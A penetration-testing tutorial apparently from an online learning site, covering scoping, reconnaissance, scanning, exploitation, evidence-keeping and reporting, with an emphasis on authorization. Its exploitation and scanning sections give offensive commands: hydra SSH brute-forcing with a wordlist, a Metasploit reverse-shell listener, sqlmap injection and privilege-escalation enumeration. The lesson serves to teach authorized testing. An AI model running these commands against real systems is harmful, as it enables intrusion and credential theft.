🎉 75% of content is free forever — Unlock Premium from $10/mo →
CW
NEWSLIVESearch All Content
đŸ’ŧ Servicesâ„šī¸ Aboutâœ‰ī¸ ContactView Pricing Plansfrom $10

Penetration Testing: Recon, Exploitation and Reporting

Ethical HackingđŸŸĸ Free Lesson

Penetration Testing

A penetration test is an authorized, time-boxed exercise that answers one question: can an attacker reach what matters, and how far can they get once they do? The tools are the easy part. What separates a professional engagement from a pile of scan output is scoping, evidence discipline, and a report written for the people who control the fix budget. This lesson follows the lifecycle end to end, with the commands you would actually run and the judgment calls around them.

Authorization before anything else

Every step needs written scope: which systems, which techniques, which hours, and who can be called when something breaks. Rules of engagement typically define testing windows, an emergency contact, prohibited actions such as denial-of-service or social engineering unless explicitly added, and data-handling terms for anything extracted. Without that document you are not conducting a test; you are committing a crime with good intentions, and the difference is a signature.

Scope mistakes cause most engagements to go wrong. Testing a cloud asset without confirming which account is in scope, forgetting that a target's third-party hosting sits behind someone else's firewall, or scanning a shared platform that belongs to another tenant can all produce outages and legal exposure. Write the scope, have both sides sign it, and re-confirm it when the target list changes mid-engagement.

Test typeTester knowledgeBest forLimitation
Black boxNothing but the public nameRealistic external attackTime wasted rediscovering structure
White boxSource, architecture, credentialsDeep coverage in limited timeLess realistic attacker path
Gray boxPartial (roles, APIs)Balanced coverage and realismNeeds careful documentation
Red teamObjective-driven, stealthyTesting detection and responseExpensive; slow to produce fixes

Reconnaissance: building the target picture

Reconnaissance divides into passive work — everything learned from outside the target's infrastructure — and active work, where your traffic touches their systems. Passive recon leaves no log on the target: registration records, certificate transparency logs, DNS history, job postings that reveal the stack, public code repositories with forgotten credentials. It is the most underrated phase because it frequently yields an entry point without ever triggering an alert.

# Passive: what does the public record say?
whois target.example
dig target.example ANY +noall +answer
dig -x 203.0.113.10 +short
curl -s https://crt.sh/?q=%25.target.example | grep -oE '[A-Za-z0-9.-]+\.target\.example' | sort -u

# Subdomain and service discovery: now your packets arrive
nmap -Pn -sV -sC --script http-title,ssl-cert -oA target-web target.example
nmap -Pn -p- -T4 -oA target-full target.example
nikto -h https://target.example -output /cases/nikto.txt

# Web content and parameter discovery
gobuster dir -u https://target.example -w /usr/share/wordlists/dirb/common.txt -x php,html,bak -o /cases/paths.txt

Two cautions. Rate-limit aggressive scanners, because a fuzzing run against production can look like a denial-of-service attempt and produce exactly the outage you were told to avoid. And record what you saw with timestamps — reconnaissance evidence is what later proves whether a finding was reachable from the internet or only from inside.

Scanning and vulnerability assessment

Scanning converts reachability into a candidate list of weaknesses. Version banners, exposed administration interfaces, default credentials, outdated TLS configurations and missing patches all appear here. Automated tools produce noise as well as signal: a scanner reporting "SQL injection" may have only noticed an error page, and an outdated library may not be reachable from any exposed route.

# Targeted vulnerability scripts after service discovery
nmap --script vuln -Pn -p 80,443,8080 target.example -oA target-vuln

# Web application testing through an intercepting proxy
burpsuite --unhandled-io-loop-timeout=60   # then map, then repeat the requests with payloads

# Credential testing, strictly against in-scope accounts and rate-limited
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.example ssh -t 4 -f

# Verify every candidate manually before it goes in the report
curl -s -o /dev/null -w '%{http_code}\n' https://target.example/admin

Verification is the phase junior testers skip and senior reviewers demand. Re-run the condition yourself, capture the request and response, note the account role required, and confirm the impact — "the parameter reflects input" is not a finding; "an unauthenticated user can read another tenant's records" is.

Exploitation and the careful use of proof

Exploitation demonstrates that a weakness is real. The industry standard is the least-destructive proof that makes the point: a screenshot of a shell with the current user, a file written to the web root, a single row of data proving read access. Never exfiltrate real customer data to prove impact; hash or truncate it, or demonstrate on a record you created during the test.

# Metasploit: a controlled reverse shell against an in-scope host
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp;\
 set LHOST 192.168.10.50; set LPORT 4444; run -j"

# SQL injection proof of concept: one database name, not a dump
sqlmap -u "https://target.example/item?id=1" --batch --dbs --level 2 --risk 1 --timeout 10

# Post-exploitation: what can this account actually reach?
cat /etc/os-release && id && sudo -l 2>/dev/null
ss -tuln
find / -perm -4000 -type f 2>/dev/null | head -20

Post-exploitation is where business risk becomes visible. A low-privilege web account that can reach the build server, read a cloud metadata endpoint, or find credentials in environment files converts a medium finding into a critical one. Document the chain — initial foothold, privilege escalation, lateral movement, objective reached — because the chain is what convinces leadership to fund the fix.

Stop conditions matter equally: when you reach the objective, stop and report rather than exploring further, and pause immediately if you encounter data you should not be seeing or signs of a pre-existing compromise by someone else.

Evidence discipline while you work

The best testers keep a running lab notebook: timestamped commands, requests and responses, screenshots, and a one-line note of what each step proved. This is not bureaucracy — it is what makes writing the report possible days later, when forty terminals have scrolled past and the details of a successful exploit blend together. A simple structure works: one folder per host, a commands log, a findings scratchpad where anything interesting gets a sentence immediately, and copies of every artifact you generated.

Note-taking also protects you. If a stakeholder disputes that an attack happened, your captured request and response settles it. If a finding turned out to be a false positive you discovered an hour later, the notes show your verification process rather than leaving an unexplained claim in the report. Keep notes inside your own encrypted working environment, never in the target's systems or a personal cloud drive — the notes themselves may contain sensitive details about the customer's environment and must be handled to the same standard as the evidence you collect.

The report: where findings get fixed or ignored

A technically perfect finding that nobody can act on has zero value. Reports need two audiences: an executive summary that states risk in business terms within a page, and technical detail precise enough for an engineer to reproduce and fix without calling you.

# Penetration Test Report — target.example — 2026-03-14

## Executive summary
An unauthenticated attacker on the internet can read arbitrary customer
records through the order API. Overall risk: HIGH. Remediation effort: small.

## Findings

### HIGH — IDOR in /api/v2/orders (CWE-639)
- Evidence: GET /api/v2/orders/8841 with a low-privilege token returned
  account 2013's order, confirmed 10/10 samples.
- Impact: full order history and shipping addresses of any customer.
- Fix: enforce object-level authorization server-side on every lookup;
  add regression tests that assert a cross-tenant request returns 403.
- Retest: scheduled after deploy.

### MEDIUM — Session cookie missing SameSite
- Evidence: Set-Cookie: session=... without SameSite attribute.
- Fix: Set-Cookie: session=...; SameSite=Lax; HttpOnly; Secure.

## Recommendations (ordered by risk reduction per effort)
1. Object-level authorization across the API surface.
2. Central security-header middleware.
3. Dependency update policy for the two outdated components found.

Each finding should carry severity with justification (CVSS plus context), reproducible evidence, business impact, a concrete fix, and a retest plan. Severity inflation destroys credibility — five "critical" findings that turn out to be informational teach the reader to discount everything you write.

After the test: closing the loop

Retesting is not optional; it is how you prove the risk is gone. Track findings to closure with owners and dates, and check that the fix addressed the class rather than the instance — patching one parameterized query while eleven others remain is not remediation. Feed the recurring patterns back into the threat model and the secure-coding standard so the next feature does not reintroduce the same bug.

Finally, capture what the test missed by design: social engineering, physical intrusion, denial-of-service and source-code review were out of scope, and saying so prevents a false sense of coverage. A test proves the absence of certain weaknesses within its scope; it never proves the system is secure.

Common Mistakes

Starting scans before scope and rules of engagement are signed

Fix: Confirm scope, testing windows and emergency contacts in writing for every target, including third-party infrastructure.

Pasting raw scanner output into the report

Fix: Verify each candidate, document reproduction and impact, and discard findings you could not demonstrate.

Proving impact by extracting real sensitive data

Fix: Demonstrate with one redacted example or a record you created; never move customer data off the target.

Ranking everything as critical to sound thorough

Fix: Score honestly with CVSS and business context; reserve critical for findings that reach crown-jewel data.

Delivering a report and walking away

Fix: Agree a retest date, verify each fix, and confirm the remediation covered the pattern, not just the instance.

Best Practices

  • Maintain a test checklist per engagement so reconnaissance, verification, evidence and cleanup never get skipped.
  • Keep a running evidence file with timestamps, commands, requests and responses as you work.
  • Prefer least-destructive proof of concept and document the stop conditions you respected.
  • Map findings to a fix owner and a deadline before the report is delivered.
  • Feed recurring root causes into secure-coding standards and automated checks.

Key Takeaways

  • Authorization and scope come first; a test without signed rules of engagement is unauthorized access.
  • Passive reconnaissance often finds the entry point without ever touching the target's defenses.
  • Automation produces candidates, not findings — verification and impact assessment are the analyst's real job.
  • The exploit chain, not the individual bug, is what communicates business risk to leadership.
  • Reports are written for the people who allocate fix budget: business-framed summary first, reproducible detail second.
  • Retesting and pattern-level remediation close the loop; anything less leaves the original weakness open.
CW

ChatWhole Learn Editorial Team

Written by experienced data scientists, software engineers, and educators. All content is reviewed by industry professionals to ensure accuracy and relevance.

Last reviewed: 2026-10-12

—
☆☆☆☆☆
0 ratings

Rate & Feedback

Continue Learning

Suggested next tutorials based on this topic

Need Expert Cybersecurity Help?

Get personalized tutoring, project support, or professional consulting.

Advertisement